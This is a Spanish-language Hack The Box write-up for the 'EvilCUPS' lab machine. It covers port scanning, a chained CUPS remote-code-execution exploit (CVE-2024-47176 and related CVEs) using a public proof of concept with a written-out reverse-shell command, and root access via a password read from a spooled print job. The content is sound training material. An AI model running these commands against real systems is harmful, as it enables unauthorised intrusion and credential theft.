Table of Contents
Hack The Box: EvilCUPS Writeup
Welcome to my detailed writeup of the medium difficulty machine “EvilCUPS” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.10.11.40 --ulimit 5000 -g
210.10.11.40 -> [22,631]
1$ nmap -p22,631 -sCV 10.10.11.40 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-02 19:45 CEST
3Nmap scan report for 10.10.11.40
4Host is up (0.094s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
8| ssh-hostkey:
9| 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
10|_ 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
11631/tcp open ipp CUPS 2.4
12| http-robots.txt: 1 disallowed entry
13|_/
14|_http-title: Home - CUPS 2.4.2
15Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
16
17Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
18Nmap done: 1 IP address (1 host up) scanned in 81.95 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 10.10.11.40 --min-rate 5000 -sU -n -Pn -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-02 19:46 CEST
3Nmap scan report for 10.10.11.40
4Host is up (0.094s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
7685/udp closed mdc-portmapper
8688/udp closed realm-rusd
98001/udp closed vcom-tunnel
1020411/udp closed unknown
1121111/udp closed unknown
1223758/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
Del escaneo inicial podemos deducir que el punto de entrada no va a ser como la típica máquina de HTB que suele hacerse mediante un servicio web.
Vemos que está abierto el puerto 631 que corresponde al servicio CUPS 2.4
¿Qué es CUPS?
CUPS (Common Unix Printing System) es un sistema de impresión modular utilizado en sistemas operativos basados en Unix y similares a Unix (como Linux y macOS) para gestionar la impresión en impresoras locales y de red. CUPS actúa como un intermediario entre las aplicaciones y los dispositivos de impresión, facilitando el envío de trabajos de impresión y gestionando los controladores de impresoras.
Ahora bien, CUPS se divide en varios componentes, como la mayoría de las cosas en la informática.
Servidor CUPS: Es el núcleo del sistema, responsable de recibir trabajos de impresión, encolarlos y enviarlos a la impresora adecuada. Corre como un servicio en segundo plano (
cupsd
).Clientes CUPS: Las aplicaciones envían trabajos de impresión al servidor CUPS utilizando un protocolo estándar como IPP (Internet Printing Protocol). Los clientes pueden estar en la misma máquina o en otra conectada a través de la red.
Filtros de CUPS: Los filtros son responsables de convertir los trabajos de impresión al formato adecuado que entienda la impresora. Estos filtros incluyen conversores de formatos como PDF, PostScript, o PCL, adaptando el contenido de impresión según el modelo y tipo de impresora.
Controladores de impresoras: Son archivos de software que permiten que el sistema operativo se comunique correctamente con la impresora. Estos controladores incluyen información específica del dispositivo, como el lenguaje de la impresora y sus capacidades (resolución, bandejas de papel, tipos de tinta, etc.).
Backends de CUPS: Los backends son interfaces que CUPS utiliza para comunicarse con las impresoras a través de diferentes protocolos, como:
- USB: Para impresoras conectadas directamente al sistema.
- IPP: Protocolo principal utilizado por CUPS para imprimir sobre la red.
- LPD/LPR: Protocolo más antiguo de impresión en red.
- SMB: Protocolo utilizado para impresoras compartidas en redes Windows.
Interfaz web de administración: CUPS incluye una interfaz web accesible a través de
http://localhost:631
que permite a los administradores configurar impresoras, gestionar trabajos de impresión y monitorear el estado del sistema.
Y por último también deberíamos saber el flujo de trabajo de CUPS.
Recepción del trabajo de impresión: Una vez que el usuario envía un trabajo de impresión desde una aplicación, CUPS recibe el trabajo en formato nativo (por ejemplo, PDF o PostScript).
Conversión del trabajo de impresión: CUPS utiliza su sistema de filtros para convertir el trabajo de impresión al formato requerido por la impresora, asegurándose de que el trabajo sea compatible con las características específicas del dispositivo.
Enrutamiento del trabajo: Dependiendo de la configuración de la impresora, CUPS puede enviar el trabajo a una impresora local o a una impresora en red. Utiliza el backend apropiado para comunicarse con la impresora, asegurándose de que el trabajo llegue correctamente.
Cola de impresión: CUPS organiza los trabajos en una cola, permitiendo a los administradores priorizar, pausar o cancelar trabajos. Si una impresora está ocupada, el trabajo se mantiene en la cola hasta que pueda ser procesado.
Monitoreo: CUPS ofrece monitoreo en tiempo real del estado de las impresoras y los trabajos de impresión. Los administradores pueden acceder al estado de la impresora, recibir notificaciones de errores, niveles de tinta y papel, y más.
Autenticación y permisos: CUPS incluye mecanismos de autenticación y control de acceso, permitiendo que solo usuarios autorizados puedan gestionar impresoras y trabajos de impresión. Esto es importante en entornos multiusuario o empresariales.
Confirming CVE-2024–47176
Hace unos días se publicó un CVE donde se demostraba que CUPS era vulnerable a RCE de forma no autenticada, es decir, que cualquier atacante podría ejecutar código remoto en tu servidor de impresión.
Vamos a utilizar este PoC solo para saber si la máquina víctima es vulnerable.
Antes de nada, también me he dado cuenta de una cosa, y es que normalmente CUPS utiliza IPP por el puerto 631 por UDP pero el escaneo anterior no muestra que ese puerto esté abierto.
Pero haciendo una segunda comprobación, vemos que probablemente esté abierto.
1$ nmap -p630,631 -sU 10.10.11.40
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-02 19:55 CEST
3Nmap scan report for 10.10.11.40
4Host is up (0.095s latency).
5
6PORT STATE SERVICE
7630/udp closed rda
8631/udp open|filtered ipp
9
10Nmap done: 1 IP address (1 host up) scanned in 2.14 seconds
Nos clonamos el repositorio anterior.
1$ git clone https://github.com/GO0dspeed/spill 19:55:27 [23/102]
2Cloning into 'spill'...
3remote: Enumerating objects: 36, done.
4remote: Counting objects: 100% (36/36), done.
5remote: Compressing objects: 100% (24/24), done.
6remote: Total 36 (delta 14), reused 28 (delta 9), pack-reused 0 (from 0)
7Receiving objects: 100% (36/36), 7.75 KiB | 7.75 MiB/s, done.
8Resolving deltas: 100% (14/14), done.
Compilamos.
1$ go build .
2go: downloading github.com/schollz/progressbar/v3 v3.16.0
3go: downloading github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db
4go: downloading golang.org/x/term v0.24.0
5go: downloading github.com/rivo/uniseg v0.4.7
6go: downloading golang.org/x/sys v0.25.0
Lanzando el script en go, podemos concluir con que efectivamente, la máquina víctima es vulnerable.
1$ ./spill -ip 10.10.11.40 -port 631 -dest 10.10.14.129 -destport 8081
2
3 . .
4 .. . *.
5- -_ _-__-0oOo
6 _-_ -__ -||||)
7 ______||||______
8~~~~~~~~~~^""' Spill
9
102024/10/02 19:57:54 Starting HTTP server on port 8081...
11Packet Progress 100% |████████████████████████████████████████|
122024/10/02 19:57:55 Received POST request: 10.10.11.40:38886
132024/10/02 19:57:55 Received POST request: 10.10.11.40:38898
142024/10/02 19:57:56 Received POST request: 10.10.11.40:38914
Ahora,¿ como lo explotamos?
Exploiting CVE-2024–47176 -> Foothold
Leyendo el CVE vemos que el componente cups-browsed
es el responsable de descubrir impresoras en la red y añadirlas al sistema, el servicio utiliza el puerto 631/UDP el cual hemos confirmado que esté abierto, y este servicio acepta paquetes personalizados de cualquier fuente.
Si sumamos esto a otro CVE asociados (para conseguir la ejecución remota de comandos necesitamos concatenar varios CVE’s) CVE-2024-47076, CVE-2024-47175
, podemos aprovecharnos de que no se valida los atributos IPP desde un servidor malicioso, por lo cual podríamos inyectar información maliciosa en el sistema y crear un archivo PPD temporal.
Ahora solo faltaría que de alguna forma, ejecutando este archivo PPD consigamos ejecutar un comando, y esto es fácil aprovechándonos del último CVE CVE-2024-47177
ya que la información inyectada en el parámetro FoomaticRIPCommandLine
del archivo PPD, CUPS pasa esta data a foomatic-rip
que es un comando utilizado para procesar el documento, esto significa que cuando se intenta imprimir un documento, el comando del atacante es ejecutado.
Analizando el CUPS, vemos una impresora.
Aunque sabiendo como funciona la vulnerabilidad, tenemos que hacer creer al servidor que ha descubierto una impresora mandando el paquete UDP.
Esta máquina es del gran ippsec
y también ha escrito un PoC para realizar esta explotación.
https://github.com/IppSec/evil-cups
Nos clonamos el repo
1$ git clone https://github.com/IppSec/evil-cups
2Cloning into 'evil-cups'...
3remote: Enumerating objects: 8, done.
4remote: Counting objects: 100% (8/8), done.
5remote: Compressing objects: 100% (5/5), done.
6remote: Total 8 (delta 1), reused 8 (delta 1), pack-reused 0 (from 0)
7Receiving objects: 100% (8/8), done.
8Resolving deltas: 100% (1/1), done.
Y instalamos las dependencias (solo es una)
1$ pip3 install -r requirements.txt
Al ejecutar el exploit…
1$ python3 evilcups.py 10.10.14.129 10.10.11.40 "bash -c 'bash -i >& /dev/tcp/10.10.14.129/443 0>&1'"
2IPP Server Listening on ('10.10.14.129', 12345)
3Sending udp packet to 10.10.11.40:631...
4Please wait this normally takes 30 seconds...
520 elapsedB2
6target connected, sending payload ...
7
8target connected, sending payload ...
9204 elapsed
Y no recibimos nada.
Como bien he explicado antes, necesitamos que la impresora maliciosa intente imprimir algún documento para que se utilice foomatic-rip
y se ejecute el comando malicioso.
==A partir de este momento la IP de mi máquina pasa a ser la 10.10.14.73 ya que tuve problemas con la VPN, esto es lo que pasa si no pagas el VIP.==
Si ahora comprobamos que impresoras existen en el panel de CUPS encontramos lo siguiente.
Ahora mandamos a la “impresora” maliciosa que imprima una página de prueba.
Y conseguimos acceso a la máquina víctima.
1(remote) lp@evilcups:/$ id
2uid=7(lp) gid=7(lp) groups=7(lp)
Y podemos leer la flag de usuario.
1(remote) lp@evilcups:/home/htb$ cat user.txt
22d5d6182acabe95...
Privilege Escalation
Hemos ganado acceso como el usuario lp
esto significa que deberíamos poder leer todas las impresiones realizadas con CUPS.
Y antes, me di cuenta que en Jobs
podemos listar todas las impresiones hechas y vemos una que no hemos realizado nosotros.
Ahora solo debemos de averiguar donde se guardan estas impresiones.
Una simple búsqueda en Google nos revela la ruta.
Pero vemos que en este directorio no tenemos permiso de lectura, solo de ejecución.
1(remote) lp@evilcups:/var/spool$ ls -la
2total 24
3drwxr-xr-x 6 root root 4096 Sep 30 19:55 .
4drwxr-xr-x 11 root root 4096 Sep 28 10:02 ..
5drwxr-xr-x 3 root root 4096 Sep 28 10:02 cron
6drwx--x--- 3 root lp 4096 Oct 2 12:55 cups
7drwxr-xr-x 2 lp lp 4096 Sep 30 19:55 lpd
8lrwxrwxrwx 1 root root 7 Sep 27 21:03 mail -> ../mail
9drwx------ 2 root root 4096 Feb 22 2023 rsyslog
Esto igualmente no significa que no podamos leer los archivos de dentro. Deberíamos tener permiso de lectura de los archivos por defecto, aunque por alguna razón, se han modificado los permisos de esta carpeta.
Buscando un poco podemos saber cual es el nombre de estos archivos gracias a este post de StackOverflow
Y sabemos que los archivos suelen llamarse
dxxxxxx-xxx
Donde los primeros 6 caracteres corresponden al ID, en este caso sería 000001
ya que no existe otro documento impreso, y los últimos tres caracteres corresponden a los documentos/hojas impresas, en este caso queremos pensar que es solo una, por lo cual sería 001
.
Realmente, los archivos suelen llamarse dxxxxx-xxx
, así que haciendo un par de pruebas descubrimos que existe el “job” d00001-001
Esto es un documento de texto.
1(remote) lp@evilcups:/var/spool/cups$ file d00001-001
2d00001-001: PostScript document text conforming DSC level 3.0
Al final del documento encontramos una string interesante, (Br3@k-G!@ss-r00t-evilcups)
Igualmente, podemos descargarnos este archivo haciendo uso de la función download
de pwncat-cs
1(local) pwncat$ download /var/spool/cups/d00001-001
2/var/spool/cups/d00001-001 ━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 12.1/12.1 kB • ? • 0:00:00
3[21:19:47] downloaded 12.12KiB in 1.56 seconds download.py:71
Y si abrimos este documento vemos la credencial Br3@k-G!@ss-r00t-evilcups
.
Y con esta credencial podemos iniciar sesión por SSH como el usuario root
1$ ssh root@10.10.11.40
2root@10.10.11.40's password:
3Linux evilcups 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64
4
5The programs included with the Debian GNU/Linux system are free software;
6the exact distribution terms for each program are described in the
7individual files in /usr/share/doc/*/copyright.
8
9Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
10permitted by applicable law.
11Last login: Tue Oct 1 14:29:03 2024 from 10.10.14.8
12root@evilcups:~#
Podemos leer la flag de root
1root@evilcups:~# cat root.txt
27cd1306e88c3e5c...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #EvilCUPS #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #CUPS Enumeration #Abusing CVE-2024-47176 #CVE-2024-47176 #Predictable File Name #Information Disclosure